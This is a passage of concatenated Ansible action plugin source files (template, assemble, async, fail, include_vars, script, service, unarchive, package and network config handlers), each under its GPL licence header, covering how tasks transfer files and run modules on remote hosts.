    def get_checksum(self, dest, all_vars, try_directory=False, source=None, tmp=None):
        try:
            dest_stat = self._execute_remote_stat(dest, all_vars=all_vars, follow=False, tmp=tmp)

            if dest_stat['exists'] and dest_stat['isdir'] and try_directory and source:
                base = os.path.basename(source)
                dest = os.path.join(dest, base)
                dest_stat = self._execute_remote_stat(dest, all_vars=all_vars, follow=False, tmp=tmp)

        except Exception as e:
            return dict(failed=True, msg=to_bytes(e))

        return dest_stat['checksum']

    def run(self, tmp=None, task_vars=None):
        ''' handler for template operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        source = self._task.args.get('src', None)
        dest   = self._task.args.get('dest', None)
        faf    = self._task.first_available_file
        force  = boolean(self._task.args.get('force', True))
        state  = self._task.args.get('state', None)

        if state is not None:
            result['failed'] = True
            result['msg'] = "'state' cannot be specified on a template"
        elif (source is None and faf is not None) or dest is None:
            result['failed'] = True
            result['msg'] = "src and dest are required"
        elif faf:
            source = self._get_first_available_file(faf, task_vars.get('_original_file', None, 'templates'))
            if source is None:
                result['failed'] = True
                result['msg'] = "could not find src in first_available_file list"
        else:
            try:
                source = self._find_needle('templates', source)
            except AnsibleError as e:
                result['failed'] = True
                result['msg'] = to_str(e)

        if 'failed' in result:
            return result

        # Expand any user home dir specification
        dest = self._remote_expand_user(dest)

        directory_prepended = False
        if dest.endswith(os.sep):
            directory_prepended = True
            base = os.path.basename(source)
            dest = os.path.join(dest, base)

        # template the source data locally & get ready to transfer
        b_source = to_bytes(source)
        try:
            with open(b_source, 'r') as f:
                template_data = to_unicode(f.read())

            try:
                template_uid = pwd.getpwuid(os.stat(b_source).st_uid).pw_name
            except:
                template_uid = os.stat(b_source).st_uid

            temp_vars = task_vars.copy()
            temp_vars['template_host']     = os.uname()[1]
            temp_vars['template_path']     = source
            temp_vars['template_mtime']    = datetime.datetime.fromtimestamp(os.path.getmtime(b_source))
            temp_vars['template_uid']      = template_uid
            temp_vars['template_fullpath'] = os.path.abspath(source)
            temp_vars['template_run_date'] = datetime.datetime.now()

            managed_default = C.DEFAULT_MANAGED_STR
            managed_str = managed_default.format(
                host = temp_vars['template_host'],
                uid  = temp_vars['template_uid'],
                file = to_bytes(temp_vars['template_path'])
            )
            temp_vars['ansible_managed'] = time.strftime(
                managed_str,
                time.localtime(os.path.getmtime(b_source))
            )

            # Create a new searchpath list to assign to the templar environment's file
            # loader, so that it knows about the other paths to find template files
            searchpath = [self._loader._basedir, os.path.dirname(source)]
            if self._task._role is not None:
                if C.DEFAULT_ROLES_PATH:
                    searchpath[:0] = C.DEFAULT_ROLES_PATH
                searchpath.insert(1, self._task._role._role_path)

            self._templar.environment.loader.searchpath = searchpath

            old_vars = self._templar._available_variables
            self._templar.set_available_variables(temp_vars)
            resultant = self._templar.template(template_data, preserve_trailing_newlines=True, escape_backslashes=False, convert_data=False)
            self._templar.set_available_variables(old_vars)
        except Exception as e:
            result['failed'] = True
            result['msg'] = type(e).__name__ + ": " + str(e)
            return result

        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp = True

        local_checksum = checksum_s(resultant)
        remote_checksum = self.get_checksum(dest, task_vars, not directory_prepended, source=source, tmp=tmp)
        if isinstance(remote_checksum, dict):
            # Error from remote_checksum is a dict.  Valid return is a str
            result.update(remote_checksum)
            return result

        diff = {}
        new_module_args = self._task.args.copy()

        if (remote_checksum == '1') or (force and local_checksum != remote_checksum):

            result['changed'] = True
            # if showing diffs, we need to get the remote value
            if self._play_context.diff:
                diff = self._get_diff_data(dest, resultant, task_vars, source_file=False)

            if not self._play_context.check_mode: # do actual work thorugh copy
                xfered = self._transfer_data(self._connection._shell.join_path(tmp, 'source'), resultant)

                # fix file permissions when the copy is done as a different user
                self._fixup_perms((tmp, xfered), remote_user)

                # run the copy module
                new_module_args.update(
                   dict(
                       src=xfered,
                       dest=dest,
                       original_basename=os.path.basename(source),
                       follow=True,
                    ),
                )
                result.update(self._execute_module(module_name='copy', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=False))

            if result.get('changed', False) and self._play_context.diff:
                result['diff'] = diff

        else:
            # when running the file module based on the template data, we do
            # not want the source filename (the name of the template) to be used,
            # since this would mess up links, so we clear the src param and tell
            # the module to follow links.  When doing that, we have to set
            # original_basename to the template just in case the dest is
            # a directory.
            new_module_args.update(
                dict(
                    src=None,
                    original_basename=os.path.basename(source),
                    follow=True,
                ),
            )
            result.update(self._execute_module(module_name='file', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=False))

        self._remove_tmp_path(tmp)

        return result






# (c) 2013-2014, Michael DeHaan <michael.dehaan@gmail.com>
#           Stephen Fromm <sfromm@gmail.com>
#           Brian Coca  <briancoca+dev@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import os.path
import tempfile
import re

from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.hashing import checksum_s
from ansible.utils.unicode import to_str, to_unicode


class ActionModule(ActionBase):

    TRANSFERS_FILES = True

    def _assemble_from_fragments(self, src_path, delimiter=None, compiled_regexp=None, ignore_hidden=False):
        ''' assemble a file from a directory of fragments '''

        tmpfd, temp_path = tempfile.mkstemp()
        tmp = os.fdopen(tmpfd,'w')
        delimit_me = False
        add_newline = False

        for f in (to_unicode(p, errors='strict') for p in sorted(os.listdir(src_path))):
            if compiled_regexp and not compiled_regexp.search(f):
                continue
            fragment = u"%s/%s" % (src_path, f)
            if not os.path.isfile(fragment) or (ignore_hidden and os.path.basename(fragment).startswith('.')):
                continue

            fragment_content = file(self._loader.get_real_file(fragment)).read()

            # always put a newline between fragments if the previous fragment didn't end with a newline.
            if add_newline:
                tmp.write('\n')

            # delimiters should only appear between fragments
            if delimit_me:
                if delimiter:
                    # un-escape anything like newlines
                    delimiter = delimiter.decode('unicode-escape')
                    tmp.write(delimiter)
                    # always make sure there's a newline after the
                    # delimiter, so lines don't run together
                    if delimiter[-1] != '\n':
                        tmp.write('\n')

            tmp.write(fragment_content)
            delimit_me = True
            if fragment_content.endswith('\n'):
                add_newline = False
            else:
                add_newline = True

        tmp.close()
        return temp_path

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            result['skipped'] = True
            result['msg'] = "skipped, this module does not support check_mode."
            return result

        src        = self._task.args.get('src', None)
        dest       = self._task.args.get('dest', None)
        delimiter  = self._task.args.get('delimiter', None)
        remote_src = self._task.args.get('remote_src', 'yes')
        regexp     = self._task.args.get('regexp', None)
        follow     = self._task.args.get('follow', False)
        ignore_hidden = self._task.args.get('ignore_hidden', False)

        if src is None or dest is None:
            result['failed'] = True
            result['msg'] = "src and dest are required"
            return result

        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp = True

        if boolean(remote_src):
            result.update(self._execute_module(tmp=tmp, task_vars=task_vars, delete_remote_tmp=False))
            self._remove_tmp_path(tmp)
            return result
        else:
            try:
                src = self._find_needle('files', src)
            except AnsibleError as e:
                result['failed'] = True
                result['msg'] = to_str(e)
                return result

        if not os.path.isdir(src):
            result['failed'] = True
            result['msg'] = u"Source (%s) is not a directory" % src
            return result

        _re = None
        if regexp is not None:
            _re = re.compile(regexp)

        # Does all work assembling the file
        path = self._assemble_from_fragments(src, delimiter, _re, ignore_hidden)

        path_checksum = checksum_s(path)
        dest = self._remote_expand_user(dest)
        dest_stat = self._execute_remote_stat(dest, all_vars=task_vars, follow=follow, tmp=tmp)

        diff = {}

        # setup args for running modules
        new_module_args = self._task.args.copy()

        # clean assemble specific options
        for opt in ['remote_src', 'regexp', 'delimiter', 'ignore_hidden']:
            if opt in new_module_args:
                del new_module_args[opt]

        new_module_args.update(
            dict(
                dest=dest,
                original_basename=os.path.basename(src),
            )
        )

        if path_checksum != dest_stat['checksum']:

            if self._play_context.diff:
                diff = self._get_diff_data(dest, path, task_vars)

            remote_path = self._connection._shell.join_path(tmp, 'src')
            xfered = self._transfer_file(path, remote_path)

            # fix file permissions when the copy is done as a different user
            self._fixup_perms((tmp, remote_path), remote_user)

            new_module_args.update( dict( src=xfered,))

            res = self._execute_module(module_name='copy', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=False)
            if diff:
                res['diff'] = diff
            result.update(res)
        else:
            result.update(self._execute_module(module_name='file', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=False))

        self._remove_tmp_path(tmp)

        return result






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import pipes
import random

from ansible import constants as C
from ansible.plugins.action import ActionBase
from ansible.compat.six import iteritems
from ansible.utils.unicode import to_unicode

class ActionModule(ActionBase):

    def run(self, tmp=None, task_vars=None):
        ''' transfer the given module name, plus the async module, then run it '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            result['skipped'] = True
            result['msg'] = 'check mode not supported for this module'
            return result

        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp=True

        module_name = self._task.action
        async_module_path  = self._connection._shell.join_path(tmp, 'async_wrapper')
        remote_module_path = self._connection._shell.join_path(tmp, module_name)

        env_string = self._compute_environment_string()

        module_args = self._task.args.copy()
        if self._play_context.no_log or C.DEFAULT_NO_TARGET_SYSLOG:
            module_args['_ansible_no_log'] = True

        # configure, upload, and chmod the target module
        (module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
        if module_style == 'binary':
            self._transfer_file(module_path, remote_module_path)
        else:
            self._transfer_data(remote_module_path, module_data)

        # configure, upload, and chmod the async_wrapper module
        (async_module_style, shebang, async_module_data, _) = self._configure_module(module_name='async_wrapper', module_args=dict(), task_vars=task_vars)
        self._transfer_data(async_module_path, async_module_data)

        argsfile = None
        if module_style in ('non_native_want_json', 'binary'):
            argsfile = self._transfer_data(self._connection._shell.join_path(tmp, 'arguments'), json.dumps(module_args))
        elif module_style == 'old':
            args_data = ""
            for k, v in iteritems(module_args):
                args_data += '%s="%s" ' % (k, pipes.quote(to_unicode(v)))
            argsfile = self._transfer_data(self._connection._shell.join_path(tmp, 'arguments'), args_data)

        remote_paths = tmp, remote_module_path, async_module_path

        # argsfile doesn't need to be executable, but this saves an extra call to the remote host
        if argsfile:
            remote_paths += argsfile,

        self._fixup_perms(remote_paths, remote_user, execute=True)

        async_limit = self._task.async
        async_jid   = str(random.randint(0, 999999999999))

        async_cmd = [env_string, async_module_path, async_jid, async_limit, remote_module_path]
        if argsfile:
            async_cmd.append(argsfile)
        async_cmd = " ".join([to_unicode(x) for x in async_cmd])
        result.update(self._low_level_execute_command(cmd=async_cmd))

        # clean up after
        self._remove_tmp_path(tmp)

        result['changed'] = True

        if 'skipped' in result and result['skipped'] or 'failed' in result and result['failed']:
            return result

        # the async_wrapper module returns dumped JSON via its stdout
        # response, so we parse it here and replace the result
        result = self._parse_returned_data(result)

        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_config import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2012, Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase


class ActionModule(ActionBase):
    ''' Fail with custom message '''

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        msg = 'Failed as requested from task'
        if self._task.args and 'msg' in self._task.args:
            msg = self._task.args.get('msg')

        result['failed'] = True
        result['msg'] = msg
        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_config import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import re
import time
import glob
import urlparse

from ansible.plugins.action import ActionBase
from ansible.utils.unicode import to_unicode

PRIVATE_KEYS_RE = re.compile('__.+__')

class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        result = super(ActionModule, self).run(tmp, task_vars)
        result['changed'] = False

        if self._task.args.get('src'):
            try:
                self._handle_template()
            except ValueError as exc:
                return dict(failed=True, msg=exc.message)

        action = self._task.action

        result.update(self._execute_module(module_name=action,
            module_args=self._task.args, task_vars=task_vars))

        if self._task.args.get('backup') and result.get('__backup__'):
            # User requested backup and no error occurred in module.
            # NOTE: If there is a parameter error, _backup key may not be in results.
            filepath = self._write_backup(task_vars['inventory_hostname'],
                                          result['__backup__'])
            result['backup_path'] = filepath


        # strip out any keys that have two leading and two trailing
        # underscore characters
        for key in result.keys():
            if PRIVATE_KEYS_RE.match(key):
                del result[key]

        return result

    def _get_working_path(self):
        cwd = self._loader.get_basedir()
        if self._task._role is not None:
            cwd = self._task._role._role_path
        return cwd

    def _write_backup(self, host, contents):
        backup_path = self._get_working_path() + '/backup'
        if not os.path.exists(backup_path):
            os.mkdir(backup_path)
        for fn in glob.glob('%s/%s*' % (backup_path, host)):
            os.remove(fn)
        tstamp = time.strftime("%Y-%m-%d@%H:%M:%S", time.localtime(time.time()))
        filename = '%s/%s_config.%s' % (backup_path, host, tstamp)
        open(filename, 'w').write(contents)
        return filename

    def _handle_template(self):
        src = self._task.args.get('src')
        working_path = self._get_working_path()

        if os.path.isabs(src) or urlparse.urlsplit('src').scheme:
            source = src
        else:
            source = self._loader.path_dwim_relative(working_path, 'templates', src)
            if not source:
                source = self._loader.path_dwim_relative(working_path, src)

        if not os.path.exists(source):
            return

        try:
            with open(source, 'r') as f:
                template_data = to_unicode(f.read())
        except IOError:
            return dict(failed=True, msg='unable to load src file')

        # Create a template search path in the following order:
        # [working_path, self_role_path, dependent_role_paths, dirname(source)]
        searchpath = [working_path]
        if self._task._role is not None:
            searchpath.append(self._task._role._role_path)
            dep_chain = self._task._block.get_dep_chain()
            if dep_chain is not None:
                for role in dep_chain:
                    searchpath.append(role._role_path)
        searchpath.append(os.path.dirname(source))
        self._templar.environment.loader.searchpath = searchpath
        self._task.args['src'] = self._templar.template(template_data)








# (c) 2013-2014, Benno Joy <benno@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase
from ansible.utils.unicode import to_str

class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):

        varname = self._task.args.get('name')
        source = self._task.args.get('file')
        if not source:
            source = self._task.args.get('_raw_params')
            if source is None:
                raise AnsibleError("No filename was found for the included vars. " + \
                                   "Use `- include_vars: <filename>` or the `file:` option " + \
                                   "to specify the vars filename.", self._task._ds)

        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        try:
            source = self._find_needle('vars', source)
        except AnsibleError as e:
            result['failed'] = True
            result['message'] = to_str(e)
            return result

        (data, show_content) = self._loader._get_file_contents(source)
        data = self._loader.load(data, show_content)
        if data is None:
            data = {}
        if not isinstance(data, dict):
            result['failed'] = True
            result['message'] = "%s must be stored as a dictionary/hash" % source
        else:
            if varname:
                scope = {}
                scope[varname] = data
                data = scope
            result['ansible_facts'] = data
            result['_ansible_no_log'] = not show_content

        return result






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.plugins.action import ActionBase
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_str


class ActionModule(ActionBase):
    TRANSFERS_FILES = True


    def run(self, tmp=None, task_vars=None):
        ''' handler for file transfer operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            result['skipped'] = True
            result['msg'] = 'check mode not supported for this module'
            return result

        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp = True

        creates = self._task.args.get('creates')
        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            if self._remote_file_exists(creates):
                self._remove_tmp_path(tmp)
                return dict(skipped=True, msg=("skipped, since %s exists" % creates))

        removes = self._task.args.get('removes')
        if removes:
            # do not run the command if the line contains removes=filename
            # and the filename does not exist. This allows idempotence
            # of command executions.
            if not self._remote_file_exists(removes):
                self._remove_tmp_path(tmp)
                return dict(skipped=True, msg=("skipped, since %s does not exist" % removes))

        # the script name is the first item in the raw params, so we split it
        # out now so we know the file name we need to transfer to the remote,
        # and everything else is an argument to the script which we need later
        # to append to the remote command
        parts  = self._task.args.get('_raw_params', '').strip().split()
        source = parts[0]
        args   = ' '.join(parts[1:])

        try:
            source = self._loader.get_real_file(self._find_needle('files', source))
        except AnsibleError as e:
            return dict(failed=True, msg=to_str(e))

        # transfer the file to a remote tmp location
        tmp_src = self._connection._shell.join_path(tmp, os.path.basename(source))
        self._transfer_file(source, tmp_src)

        # set file permissions, more permissive when the copy is done as a different user
        self._fixup_perms((tmp, tmp_src), remote_user, execute=True)

        # add preparation steps to one ssh roundtrip executing the script
        env_string = self._compute_environment_string()
        script_cmd = ' '.join([env_string, tmp_src, args])

        result.update(self._low_level_execute_command(cmd=script_cmd, sudoable=True))

        # clean up after
        self._remove_tmp_path(tmp)

        result['changed'] = True

        return result






# (c) 2015, Ansible Inc,
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


from ansible.plugins.action import ActionBase


class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    UNUSED_PARAMS = {
        'systemd': ['pattern', 'runlevels', 'sleep', 'arguments'],
    }

    def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_service_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
            self._display.debug("Facts %s" % facts)
            if 'ansible_facts' in facts and  'ansible_service_mgr' in facts['ansible_facts']:
                module = facts['ansible_facts']['ansible_service_mgr']

        if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
            module = 'service'

        if module != 'auto':
            # run the 'service' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            # for backwards compatibility
            if 'state' in new_module_args and new_module_args['state'] == 'running':
                new_module_args['state'] = 'started'

            if module in self.UNUSED_PARAMS:
                for unused in self.UNUSED_PARAMS[module]:
                    if unused in new_module_args:
                        del new_module_args[unused]
                        self._display.warning('Ignoring "%s" as it is not used in "%s"' % (unused, module))

            self._display.vvvv("Running %s" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the "use" option.'

        return result






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2013, Dylan Martin <dmartin@seattlecentral.edu>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_str

class ActionModule(ActionBase):

    TRANSFERS_FILES = True

    def run(self, tmp=None, task_vars=None):
        ''' handler for unarchive operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        source  = self._task.args.get('src', None)
        dest    = self._task.args.get('dest', None)
        remote_src = boolean(self._task.args.get('remote_src', False))
        creates = self._task.args.get('creates', None)

        # "copy" is deprecated in favor of "remote_src".
        if 'copy' in self._task.args:
            # They are mutually exclusive.
            if 'remote_src' in self._task.args:
                result['failed'] = True
                result['msg'] = "parameters are mutually exclusive: ('copy', 'remote_src')"
                return result
            # We will take the information from copy and store it in
            # the remote_src var to use later in this file.
            remote_src = not boolean(self._task.args.get('copy'))

        if source is None or dest is None:
            result['failed'] = True
            result['msg'] = "src (or content) and dest are required"
            return result

        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp = True

        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            result = self._execute_module(module_name='stat', module_args=dict(path=creates), task_vars=task_vars)
            stat = result.get('stat', None)
            if stat and stat.get('exists', False):
                result['skipped'] = True
                result['msg'] = "skipped, since %s exists" % creates
                self._remove_tmp_path(tmp)
                return result

        dest = self._remote_expand_user(dest) # CCTODO: Fix path for Windows hosts.
        source = os.path.expanduser(source)

        if not remote_src:
            try:
                source = self._loader.get_real_file(self._find_needle('files', source))
            except AnsibleError as e:
                result['failed'] = True
                result['msg'] = to_str(e)
                self._remove_tmp_path(tmp)
                return result

        remote_checksum = self._remote_checksum(dest, all_vars=task_vars, follow=True)
        if remote_checksum == '4':
            result['failed'] = True
            result['msg'] = "python isn't present on the system.  Unable to compute checksum"
            self._remove_tmp_path(tmp)
            return result
        elif remote_checksum != '3':
            result['failed'] = True
            result['msg'] = "dest '%s' must be an existing dir" % dest
            self._remove_tmp_path(tmp)
            return result

        if not remote_src:
            # transfer the file to a remote tmp location
            tmp_src = self._connection._shell.join_path(tmp, 'source')
            self._transfer_file(source, tmp_src)

        # handle diff mode client side
        # handle check mode client side

        if not remote_src:
            # fix file permissions when the copy is done as a different user
            self._fixup_perms((tmp, tmp_src), remote_user)
            # Build temporary module_args.
            new_module_args = self._task.args.copy()
            new_module_args.update(
                dict(
                    src=tmp_src,
                    original_basename=os.path.basename(source),
                ),
            )

        else:
            new_module_args = self._task.args.copy()
            new_module_args.update(
                dict(
                    original_basename=os.path.basename(source),
                ),
            )

        # execute the unarchive module now, with the updated args
        result.update(self._execute_module(module_args=new_module_args, task_vars=task_vars))
        self._remove_tmp_path(tmp)
        return result






# (c) 2015, Ansible Inc,
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto')

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_pkg_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(filter='ansible_pkg_mgr', gather_subset='!all'), task_vars=task_vars)
            display.debug("Facts %s" % facts)
            if 'ansible_facts' in facts and  'ansible_pkg_mgr' in facts['ansible_facts']:
                module = getattr(facts['ansible_facts'], 'ansible_pkg_mgr', 'auto')

        if module != 'auto':

            if module not in self._shared_loader_obj.module_loader:
                result['failed'] = True
                result['msg'] = 'Could not find a module for %s.' % module
                return result

            # run the 'package' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            display.vvvv("Running %s" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
            return result
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which package manager to use. Try gathering facts or setting the "use" option.'
            return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
